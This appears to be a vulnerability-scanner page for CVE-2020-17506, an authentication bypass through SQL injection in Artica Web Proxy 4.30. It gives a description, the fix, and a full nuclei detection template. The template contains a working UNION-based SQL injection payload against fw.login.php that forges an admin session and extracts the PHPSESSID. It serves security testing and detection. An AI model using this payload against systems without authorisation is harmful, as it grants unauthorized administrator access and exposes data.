Artica Web Proxy 4.30 - Authentication Bypass/SQL Injection

criticalseverity

9.8CVSS score

94%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.

Fix

Upgrade to a patched version of Artica Web Proxy or apply the vendor-supplied patch to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;
Positive when: contains "artica-applianc" AND contains in header "PHPSESSID" AND status 200 or 301 or 302

Run it with nuclei: nuclei -id CVE-2020-17506 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-17506

info:
  name: Artica Web Proxy 4.30 - Authentication Bypass/SQL Injection
  author: dwisiswant0
  severity: critical
  description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Upgrade to a patched version of Artica Web Proxy or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17506
    - http://packetstormsecurity.com/files/158868/Artica-Proxy-4.3.0-Authentication-Bypass.html
    - https://blog.max0x4141.com/post/artica_proxy/
    - https://github.com/hangmansROP/proof-of-concepts
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17506
    cwe-id: CWE-89
    epss-score: 0.93967
    epss-percentile: 0.99846
    cpe: cpe:2.3:a:articatech:web_proxy:4.30.000000:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: articatech
    product: web_proxy
  tags: cve,cve2020,artica,proxy,packetstorm,articatech,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"

    host-redirects: true
    max-redirects: 1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "artica-applianc"

      - type: word
        part: header
        words:
          - "PHPSESSID"

      - type: status
        status:
          - 200
          - 301
          - 302
        condition: or

    extractors:
      - type: kval
        kval:
          - "PHPSESSID"

References

Use this check only on systems you are authorised to test. Where the data comes from